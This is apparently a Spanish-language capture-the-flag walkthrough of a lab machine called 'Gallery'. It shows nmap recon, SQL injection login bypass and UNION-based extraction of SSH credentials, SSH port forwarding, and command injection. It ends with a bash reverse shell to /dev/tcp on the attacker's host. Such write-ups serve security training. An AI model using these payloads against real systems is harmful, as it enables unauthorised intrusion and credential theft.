Gallery

Reconocimiento
Nmap
nmap -p- --min-rate 5000 -T5 --open -Pn 172.17.0.2 -o Ports
Nos devuelve los puertos:
- 22
- 80
Y ahora sabiendo esto, performaremos el siguiente escaneo:
nmap -p22,80 -sCV 172.17.0.2 -o Results
Lo que nos devuelve:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-19 12:32 EDT
Nmap scan report for 172.17.0.2
Host is up (0.000031s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 19:95:1a:f2:f6:7a:a1:f1:ba:16:4b:58:a0:59:f2:02 (ECDSA)
|_ 256 e7:e9:8f:b8:db:94:c2:68:11:4c:25:81:f1:ac:cd:ac (ED25519)
80/tcp open http PHP cli server 5.5 or later (PHP 8.3.6)
|_http-title: Galer\xC3\xADa de Arte Digital
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.60 seconds
Aquí no vemos mucha cosa así que veamos que tenemos en la página web:

Iniciar Sesión
, veamos que tenemos ahí:

Explotación
SQL Injection (Auth Bypass)
Después de un rato probando con herramientas como Hydra o BurpSuite probé con SQLMap para ver si detecta algún SQL Injection
y efectivamente, el campo Username
el vulnerable a SQL Injection:

admin' OR '1'='1'-- -
Este payload lo que hace es intentar iniciar sesión como el usuario admin
, y con ' OR '1'='1'-- -
forzamos que la condición sea True sin necesidad de contraseña.
El -- -
comenta el resto de la consulta (como la parte del password), por lo que la base de datos nos deja pasar como si todo estuviera bien.
Acceso al Panel de Administración
Esto quedaría de la siguiente manera:


- Add New Artwork (Añadir un nuevo cuadro): Nos permite subir una nueva imagen o cuadro a la galería.
- Search Artwork (Buscar entre los cuadros existentes): Nos permite buscar entre los cuadros ya subidos.
SQL Injection en "Search Artwork"
Personalmente, decidí revisar primero la parte de Search, ya que me parecía más interesante y con más potencial de contener otra SQL Injection (teniendo en cuenta que ya encontramos una en el login). Luego ya tocará mirar la de subir imagen, si no encontramos nada.
Para comprobar si esta sección también era vulnerable a SQL Injection, probé con un payload simple como:
' ORDER BY 1-- -
Identificación del Número de Columnas & Union Injection
Este tipo de inyección se usa para ver cuántas columnas tiene la consulta SQL por detrás. Si el número es válido, la página responde normal; si es mayor que las columnas disponibles, suele dar error. Así se puede deducir cuántas columnas hay.
En el ' ORDER BY 5-- -
aún sigue mostrandolo todo normal:

' ORDER BY 6-- -
nos salta el siguiente error:

' UNION SELECT 1,2,3,4,5-- -
Este tipo de payload nos permite unir una segunda consulta (la nuestra) con la original que hace la página. Si todo sale bien, deberíamos ver algunos de esos números (2, 3, 4, 5
) reflejados en la web, lo cual nos confirma que tenemos una inyección útil con salida visible.
En mi caso, al probar nos sale:

- 2 (Rojo)
- 3 (Amarillo)
En la página, lo que indica que esas son las columnas visibles, es decir, las que se muestran al usuario. Las demás (1, 4, 5
) están presentes en la consulta, pero no se imprimen en la web, por lo que no podemos usarlas para exfiltrar datos directamente.
Esto es importante porque ahora, si queremos extraer información sensible, tenemos que reemplazar el 2
o el 3
por funciones útiles como database()
para que se vean reflejadas.
Por ejemplo, podemos sacar el nombre de la base de datos actual con:
' UNION SELECT 1,2,database(),4,5-- -

gallery_db
Lo siguiente que hice fue intentar enumerar todas las bases de datos del sistema. Para ello, usamos la tabla especial de MySQL llamada information_schema, que contiene meta-información sobre todas las bases de datos, tablas y columnas del servidor.
Para listar todas las bases de datos, usamos este payload:
' UNION SELECT 1,2,group_concat(schema_name),4,5 FROM information_schema.schemata-- -
group_concat nos permite juntar múltiples resultados en una sola cadena separada por comas, así podemos verlos todos de golpe.
Donde vemos varias bases de datos, pero una en particular nos llama la atención:
secret_db
Enumerar tablas dentro de secret_db
Ahora que sabemos que secret_db
existe, podemos listar todas las tablas que contiene, consultando la tabla information_schema.tables
:
' UNION SELECT 1,2,group_concat(table_name),4,5 FROM information_schema.tables WHERE table_schema='secret_db'-- -

secret
Enumerar columnas dentro de la tabla secret
Para saber qué campos hay dentro de esa tabla, ahora consultamos la tabla information_schema.columns
con este payload:
' UNION SELECT 1,2,group_concat(column_name),4,5 FROM information_schema.columns WHERE table_name='secret'-- -

ssh_users
ssh_pass
Extraer el contenido de la tabla secret
Con toda esa información, ya podemos dumpear los datos reales de la tabla. Usamos de nuevo group_concat
para que todo aparezca junto en la web, así:
' UNION SELECT 1,2,group_concat(ssh_users,':',ssh_pass),4,5 FROM secret_db.secret-- -
Con esto ya sabemos:
- Usuario:
sam
- Contraseña:
Compromiso
Acceder por SSH con las credenciales obtenidas
Así que probé acceder mediante SSH al servidor con estas credenciales:
ssh sam@172.17.0.2

Reconocimiento interno y port forwarding
Una vez dentro por SSH, lo primero que hice fue inspeccionar los procesos en ejecución con ps -faux
, y allí descubrí algo interesante:

puerto 8888
escuchando solo en localhost (127.0.0.1
). Esto indicaba que probablemente había una página web interna que no era accesible desde fuera.
Además, vi que el sistema tenía instalado nmap
por lo cual pude comprobar mi sospecha:
nmap localhost
tarting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-20 15:38 CEST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000080s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
8888/tcp open sun-answerbook
Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds
Ya que teníamos una sesión SSH activa, aproveché para hacer un port forwarding del puerto 8888
al mío local con:
ssh -L 8888:127.0.0.1:8888 sam@172.17.0.2
Abrí http://localhost:8888
en el navegador y me encontré con una especie de terminal
:

help
, list_art
, view_logs
, etc.) y todos respondían con mensajes generados por la aplicación, indicando que se trataba de una interfaz simulada, no una shell real.
Escalada de Privilegios
Sin embargo, al modificar los inputs, como agregar caracteres especiales o intentar encadenar comandos, noté que algunos de esos comandos respondían de forma extraña. Esto me dio pistas claras de que el backend estaba ejecutando comandos sin sanitizar correctamente la entrada, lo que significa que podría estar presente la vulnerabilidad Command Injection
.
Entonces, decidí probar con un payload simple para comprobarlo:
help; id

id
correctamente, supe que la vulnerabilidad Command Injection
estaba presente. Esto me dio la oportunidad de ejecutar comandos arbitrarios en el servidor.
Aprovechando esto, decidí intentar una revershell para obtener una shell interactiva en la máquina objetivo. Probé con el siguiente payload:
help; bash -c "bash -i >& /dev/tcp/172.17.0.1/<PORT> 0>&1"
Donde
<PORT>
Es el puerto que configuré para escuchar en mi máquina local. Al ejecutar este comando, la shell fue establecida exitosamente y obtuve acceso completo al servidor.
